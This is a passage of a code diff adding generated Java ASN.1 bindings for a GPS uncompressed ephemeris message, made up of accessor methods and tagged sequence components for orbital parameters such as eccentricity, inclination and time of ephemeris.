+ ephemE_ = new UncompressedEphemeris.ephemEType();
+ return ephemE_;
+ }
+
+ private UncompressedEphemeris.ephemCusType ephemCus_;
+ public UncompressedEphemeris.ephemCusType getEphemCus() {
+ return ephemCus_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UncompressedEphemeris.ephemCusType
+ */
+ public void setEphemCus(Asn1Object value) {
+ this.ephemCus_ = (UncompressedEphemeris.ephemCusType) value;
+ }
+ public UncompressedEphemeris.ephemCusType setEphemCusToNewInstance() {
+ ephemCus_ = new UncompressedEphemeris.ephemCusType();
+ return ephemCus_;
+ }
+
+ private UncompressedEphemeris.ephemAPowerHalfType ephemAPowerHalf_;
+ public UncompressedEphemeris.ephemAPowerHalfType getEphemAPowerHalf() {
+ return ephemAPowerHalf_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UncompressedEphemeris.ephemAPowerHalfType
+ */
+ public void setEphemAPowerHalf(Asn1Object value) {
+ this.ephemAPowerHalf_ = (UncompressedEphemeris.ephemAPowerHalfType) value;
+ }
+ public UncompressedEphemeris.ephemAPowerHalfType setEphemAPowerHalfToNewInstance() {
+ ephemAPowerHalf_ = new UncompressedEphemeris.ephemAPowerHalfType();
+ return ephemAPowerHalf_;
+ }
+
+ private UncompressedEphemeris.ephemToeType ephemToe_;
+ public UncompressedEphemeris.ephemToeType getEphemToe() {
+ return ephemToe_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UncompressedEphemeris.ephemToeType
+ */
+ public void setEphemToe(Asn1Object value) {
+ this.ephemToe_ = (UncompressedEphemeris.ephemToeType) value;
+ }
+ public UncompressedEphemeris.ephemToeType setEphemToeToNewInstance() {
+ ephemToe_ = new UncompressedEphemeris.ephemToeType();
+ return ephemToe_;
+ }
+
+ private UncompressedEphemeris.ephemFitFlagType ephemFitFlag_;
+ public UncompressedEphemeris.ephemFitFlagType getEphemFitFlag() {
+ return ephemFitFlag_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UncompressedEphemeris.ephemFitFlagType
+ */
+ public void setEphemFitFlag(Asn1Object value) {
+ this.ephemFitFlag_ = (UncompressedEphemeris.ephemFitFlagType) value;
+ }
+ public UncompressedEphemeris.ephemFitFlagType setEphemFitFlagToNewInstance() {
+ ephemFitFlag_ = new UncompressedEphemeris.ephemFitFlagType();
+ return ephemFitFlag_;
+ }
+
+ private UncompressedEphemeris.ephemAODAType ephemAODA_;
+ public UncompressedEphemeris.ephemAODAType getEphemAODA() {
+ return ephemAODA_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UncompressedEphemeris.ephemAODAType
+ */
+ public void setEphemAODA(Asn1Object value) {
+ this.ephemAODA_ = (UncompressedEphemeris.ephemAODAType) value;
+ }
+ public UncompressedEphemeris.ephemAODAType setEphemAODAToNewInstance() {
+ ephemAODA_ = new UncompressedEphemeris.ephemAODAType();
+ return ephemAODA_;
+ }
+
+ private UncompressedEphemeris.ephemCicType ephemCic_;
+ public UncompressedEphemeris.ephemCicType getEphemCic() {
+ return ephemCic_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UncompressedEphemeris.ephemCicType
+ */
+ public void setEphemCic(Asn1Object value) {
+ this.ephemCic_ = (UncompressedEphemeris.ephemCicType) value;
+ }
+ public UncompressedEphemeris.ephemCicType setEphemCicToNewInstance() {
+ ephemCic_ = new UncompressedEphemeris.ephemCicType();
+ return ephemCic_;
+ }
+
+ private UncompressedEphemeris.ephemOmegaA0Type ephemOmegaA0_;
+ public UncompressedEphemeris.ephemOmegaA0Type getEphemOmegaA0() {
+ return ephemOmegaA0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UncompressedEphemeris.ephemOmegaA0Type
+ */
+ public void setEphemOmegaA0(Asn1Object value) {
+ this.ephemOmegaA0_ = (UncompressedEphemeris.ephemOmegaA0Type) value;
+ }
+ public UncompressedEphemeris.ephemOmegaA0Type setEphemOmegaA0ToNewInstance() {
+ ephemOmegaA0_ = new UncompressedEphemeris.ephemOmegaA0Type();
+ return ephemOmegaA0_;
+ }
+
+ private UncompressedEphemeris.ephemCisType ephemCis_;
+ public UncompressedEphemeris.ephemCisType getEphemCis() {
+ return ephemCis_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UncompressedEphemeris.ephemCisType
+ */
+ public void setEphemCis(Asn1Object value) {
+ this.ephemCis_ = (UncompressedEphemeris.ephemCisType) value;
+ }
+ public UncompressedEphemeris.ephemCisType setEphemCisToNewInstance() {
+ ephemCis_ = new UncompressedEphemeris.ephemCisType();
+ return ephemCis_;
+ }
+
+ private UncompressedEphemeris.ephemI0Type ephemI0_;
+ public UncompressedEphemeris.ephemI0Type getEphemI0() {
+ return ephemI0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UncompressedEphemeris.ephemI0Type
+ */
+ public void setEphemI0(Asn1Object value) {
+ this.ephemI0_ = (UncompressedEphemeris.ephemI0Type) value;
+ }
+ public UncompressedEphemeris.ephemI0Type setEphemI0ToNewInstance() {
+ ephemI0_ = new UncompressedEphemeris.ephemI0Type();
+ return ephemI0_;
+ }
+
+ private UncompressedEphemeris.ephemCrcType ephemCrc_;
+ public UncompressedEphemeris.ephemCrcType getEphemCrc() {
+ return ephemCrc_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UncompressedEphemeris.ephemCrcType
+ */
+ public void setEphemCrc(Asn1Object value) {
+ this.ephemCrc_ = (UncompressedEphemeris.ephemCrcType) value;
+ }
+ public UncompressedEphemeris.ephemCrcType setEphemCrcToNewInstance() {
+ ephemCrc_ = new UncompressedEphemeris.ephemCrcType();
+ return ephemCrc_;
+ }
+
+ private UncompressedEphemeris.ephemWType ephemW_;
+ public UncompressedEphemeris.ephemWType getEphemW() {
+ return ephemW_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UncompressedEphemeris.ephemWType
+ */
+ public void setEphemW(Asn1Object value) {
+ this.ephemW_ = (UncompressedEphemeris.ephemWType) value;
+ }
+ public UncompressedEphemeris.ephemWType setEphemWToNewInstance() {
+ ephemW_ = new UncompressedEphemeris.ephemWType();
+ return ephemW_;
+ }
+
+ private UncompressedEphemeris.ephemOmegaADotType ephemOmegaADot_;
+ public UncompressedEphemeris.ephemOmegaADotType getEphemOmegaADot() {
+ return ephemOmegaADot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UncompressedEphemeris.ephemOmegaADotType
+ */
+ public void setEphemOmegaADot(Asn1Object value) {
+ this.ephemOmegaADot_ = (UncompressedEphemeris.ephemOmegaADotType) value;
+ }
+ public UncompressedEphemeris.ephemOmegaADotType setEphemOmegaADotToNewInstance() {
+ ephemOmegaADot_ = new UncompressedEphemeris.ephemOmegaADotType();
+ return ephemOmegaADot_;
+ }
+
+ private UncompressedEphemeris.ephemIDotType ephemIDot_;
+ public UncompressedEphemeris.ephemIDotType getEphemIDot() {
+ return ephemIDot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UncompressedEphemeris.ephemIDotType
+ */
+ public void setEphemIDot(Asn1Object value) {
+ this.ephemIDot_ = (UncompressedEphemeris.ephemIDotType) value;
+ }
+ public UncompressedEphemeris.ephemIDotType setEphemIDotToNewInstance() {
+ ephemIDot_ = new UncompressedEphemeris.ephemIDotType();
+ return ephemIDot_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getEphemCodeOnL2() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEphemCodeOnL2();
+ }
+
+ @Override public void setToNewInstance() {
+ setEphemCodeOnL2ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UncompressedEphemeris.ephemCodeOnL2Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ephemCodeOnL2 : "
+ + getEphemCodeOnL2().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getEphemURA() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEphemURA();
+ }
+
+ @Override public void setToNewInstance() {
+ setEphemURAToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UncompressedEphemeris.ephemURAType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ephemURA : "
+ + getEphemURA().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getEphemSVhealth() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEphemSVhealth();
+ }
+
+ @Override public void setToNewInstance() {
+ setEphemSVhealthToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UncompressedEphemeris.ephemSVhealthType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ephemSVhealth : "
+ + getEphemSVhealth().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getEphemIODC() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEphemIODC();
+ }
+
+ @Override public void setToNewInstance() {
+ setEphemIODCToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UncompressedEphemeris.ephemIODCType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ephemIODC : "
+ + getEphemIODC().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getEphemL2Pflag() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEphemL2Pflag();
+ }
+
+ @Override public void setToNewInstance() {
+ setEphemL2PflagToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UncompressedEphemeris.ephemL2PflagType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ephemL2Pflag : "
+ + getEphemL2Pflag().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getEphemSF1Rsvd() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEphemSF1Rsvd();
+ }
+
+ @Override public void setToNewInstance() {
+ setEphemSF1RsvdToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? EphemerisSubframe1Reserved.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ephemSF1Rsvd : "
+ + getEphemSF1Rsvd().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getEphemTgd() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEphemTgd();
+ }
+
+ @Override public void setToNewInstance() {
+ setEphemTgdToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UncompressedEphemeris.ephemTgdType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ephemTgd : "
+ + getEphemTgd().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getEphemToc() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEphemToc();
+ }
+
+ @Override public void setToNewInstance() {
+ setEphemTocToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UncompressedEphemeris.ephemTocType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ephemToc : "
+ + getEphemToc().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 8);
+
+ @Override public boolean isExplicitlySet() {
+ return getEphemAF2() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEphemAF2();
+ }
+
+ @Override public void setToNewInstance() {
+ setEphemAF2ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UncompressedEphemeris.ephemAF2Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ephemAF2 : "
+ + getEphemAF2().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 9);
+
+ @Override public boolean isExplicitlySet() {
+ return getEphemAF1() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEphemAF1();
+ }
+
+ @Override public void setToNewInstance() {
+ setEphemAF1ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UncompressedEphemeris.ephemAF1Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ephemAF1 : "
+ + getEphemAF1().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 10);
+
+ @Override public boolean isExplicitlySet() {
+ return getEphemAF0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEphemAF0();
+ }
+
+ @Override public void setToNewInstance() {
+ setEphemAF0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UncompressedEphemeris.ephemAF0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ephemAF0 : "
+ + getEphemAF0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 11);
+
+ @Override public boolean isExplicitlySet() {
+ return getEphemCrs() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEphemCrs();
+ }
+
+ @Override public void setToNewInstance() {
+ setEphemCrsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UncompressedEphemeris.ephemCrsType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ephemCrs : "
+ + getEphemCrs().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 12);
+
+ @Override public boolean isExplicitlySet() {
+ return getEphemDeltaN() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEphemDeltaN();
+ }
+
+ @Override public void setToNewInstance() {
+ setEphemDeltaNToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UncompressedEphemeris.ephemDeltaNType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ephemDeltaN : "
+ + getEphemDeltaN().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 13);
+
+ @Override public boolean isExplicitlySet() {
+ return getEphemM0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEphemM0();
+ }
+
+ @Override public void setToNewInstance() {
+ setEphemM0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UncompressedEphemeris.ephemM0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ephemM0 : "
+ + getEphemM0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 14);
+
+ @Override public boolean isExplicitlySet() {
+ return getEphemCuc() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEphemCuc();
+ }
+
+ @Override public void setToNewInstance() {
+ setEphemCucToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UncompressedEphemeris.ephemCucType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ephemCuc : "
+ + getEphemCuc().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 15);
+
+ @Override public boolean isExplicitlySet() {
+ return getEphemE() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEphemE();
+ }
+
+ @Override public void setToNewInstance() {
+ setEphemEToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UncompressedEphemeris.ephemEType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ephemE : "
+ + getEphemE().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 16);
+
+ @Override public boolean isExplicitlySet() {
+ return getEphemCus() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEphemCus();
+ }
+
+ @Override public void setToNewInstance() {
+ setEphemCusToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UncompressedEphemeris.ephemCusType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ephemCus : "
+ + getEphemCus().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 17);
+
+ @Override public boolean isExplicitlySet() {
+ return getEphemAPowerHalf() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEphemAPowerHalf();
+ }
+
+ @Override public void setToNewInstance() {
+ setEphemAPowerHalfToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UncompressedEphemeris.ephemAPowerHalfType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ephemAPowerHalf : "
+ + getEphemAPowerHalf().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 18);
+
+ @Override public boolean isExplicitlySet() {
+ return getEphemToe() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEphemToe();
+ }
+
+ @Override public void setToNewInstance() {
+ setEphemToeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UncompressedEphemeris.ephemToeType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ephemToe : "
+ + getEphemToe().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 19);
+
+ @Override public boolean isExplicitlySet() {
+ return getEphemFitFlag() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEphemFitFlag();
+ }
+
+ @Override public void setToNewInstance() {
+ setEphemFitFlagToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UncompressedEphemeris.ephemFitFlagType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ephemFitFlag : "
+ + getEphemFitFlag().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 20);
+
+ @Override public boolean isExplicitlySet() {
+ return getEphemAODA() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEphemAODA();
+ }
+
+ @Override public void setToNewInstance() {
+ setEphemAODAToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UncompressedEphemeris.ephemAODAType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ephemAODA : "
+ + getEphemAODA().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 21);
+
+ @Override public boolean isExplicitlySet() {
+ return getEphemCic() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEphemCic();
+ }
+
+ @Override public void setToNewInstance() {
+ setEphemCicToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UncompressedEphemeris.ephemCicType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ephemCic : "
+ + getEphemCic().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 22);
+
+ @Override public boolean isExplicitlySet() {
+ return getEphemOmegaA0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEphemOmegaA0();
+ }
+
+ @Override public void setToNewInstance() {
+ setEphemOmegaA0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UncompressedEphemeris.ephemOmegaA0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ephemOmegaA0 : "
+ + getEphemOmegaA0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 23);
+
+ @Override public boolean isExplicitlySet() {
+ return getEphemCis() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEphemCis();
+ }
+
+ @Override public void setToNewInstance() {
+ setEphemCisToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UncompressedEphemeris.ephemCisType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ephemCis : "
+ + getEphemCis().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 24);
+
+ @Override public boolean isExplicitlySet() {
+ return getEphemI0() != null;
+ }
+
